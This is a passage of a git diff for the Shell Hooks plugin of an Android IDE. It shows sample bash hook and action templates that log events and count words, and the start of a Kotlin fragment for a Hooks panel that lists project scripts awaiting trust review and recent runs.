|#!/usr/bin/env bash + |# Sample Shell Hooks script for "${hook.id}" (${hook.title}). + |# To use it, drop ".sample" from its name and make it executable: + |# cd ~/.config/codeonthego/hooks && mv ${hook.id}.sample ${hook.id} && chmod +x ${hook.id} + |# For several scripts on one hook, put them in ${hook.id}.d/ instead; they run in name order. + |# + |# Arguments: ${hook.argsDoc} + |# Environment: + |# COGO_HOOK ${hook.id} + |# COGO_PROJECT_DIR the project's folder, or empty when none is open + |# COGO_HOOKS_DIR the hooks folder this script is in + |# COGO_HOOK_SCRIPT this script's path + |# COGO_HOOK_SOURCE global, or project for a script stored in a project + |# COGO_IDE_VERSION the IDE's version, when known + |# The script runs in the project's folder. Its output appears in the Hooks tab. + |# Hooks only report what happened; a script cannot stop a save or a build. + | + |printf '%s %s %s\n' "${'$'}(date '+%F %T')" "${'$'}COGO_HOOK" "${'$'}*" >> "${'$'}HOME/codeonthego-hooks.log" + | + """.trimMargin() + + private val ACTION_BODY = + """ + |#!/usr/bin/env bash + |# Sample Shell Hooks action. Actions appear as "Run " when you long-press a file in + |# the file tree or an editor tab, and run in the Terminal so you see their output. + |# To use it: cd ~/.config/codeonthego/hooks/actions && mv $ACTION_SAMPLE word-count && chmod +x word-count + |# + |# Arguments: ${'$'}1 = the file + | + |wc -l -w -c "${'$'}1" + | + """.trimMargin() +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ui/HooksPanelFragment.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ui/HooksPanelFragment.kt new file mode 100644 index 000000000..8375ed7c9 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/ui/HooksPanelFragment.kt @@ -0,0 +1,256 @@ +package org.appdevforall.shellhooks.ui + +import android.os.Bundle +import android.text.format.DateFormat +import android.view.LayoutInflater +import android.view.View +import android.view.ViewGroup +import android.widget.Button +import android.widget.LinearLayout +import android.widget.ScrollView +import android.widget.TextView +import androidx.appcompat.app.AlertDialog +import androidx.fragment.app.Fragment +import androidx.lifecycle.Lifecycle +import androidx.lifecycle.lifecycleScope +import androidx.lifecycle.repeatOnLifecycle +import com.google.android.material.dialog.MaterialAlertDialogBuilder +import com.itsaky.androidide.plugins.base.PluginFragmentHelper +import com.itsaky.androidide.plugins.services.IdeTooltipService +import kotlinx.coroutines.flow.combine +import kotlinx.coroutines.launch +import org.appdevforall.shellhooks.R +import org.appdevforall.shellhooks.ShellHooksHelp +import org.appdevforall.shellhooks.ShellHooksPlugin +import org.appdevforall.shellhooks.engine.HookRun +import org.appdevforall.shellhooks.engine.Outcome +import org.appdevforall.shellhooks.engine.PendingTrust +import org.appdevforall.shellhooks.engine.TrustStore +import java.io.File +import java.util.Date + +/** + * The Hooks bottom-sheet tab: project scripts awaiting review, then the recent runs. A run's + * output is hidden until its row is tapped. + */ +class HooksPanelFragment : Fragment() { + private var tooltips: IdeTooltipService? = null + private var reviewDialog: AlertDialog? = null + + /** Rows the user expanded, so a refresh keeps them open. */ + private val expanded = mutableSetOf() + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + tooltips = + runCatching { + PluginFragmentHelper.getServiceRegistry(ShellHooksPlugin.PLUGIN_ID)?.get(IdeTooltipService::class.java) + }.getOrNull() + } + + override fun onGetLayoutInflater(savedInstanceState: Bundle?): LayoutInflater = + PluginFragmentHelper.getPluginInflater(ShellHooksPlugin.PLUGIN_ID, super.onGetLayoutInflater(savedInstanceState)) + + override fun onCreateView( + inflater: LayoutInflater, + container: ViewGroup?, + savedInstanceState: Bundle?, + ): View = inflater.inflate(R.layout.fragment_hooks_panel, container, false) + + override fun onViewCreated( + view: View, + savedInstanceState: Bundle?, + ) { + super.onViewCreated(view, savedInstanceState) + val plugin = ShellHooksPlugin.getInstance() ?: return + help(view.findViewById(R.id.hkRunsTitle), ShellHooksHelp.TAG_TAB) + help(view.findViewById(R.id.hkPendingTitle), ShellHooksHelp.TAG_PROJECT_HOOKS) + view.findViewById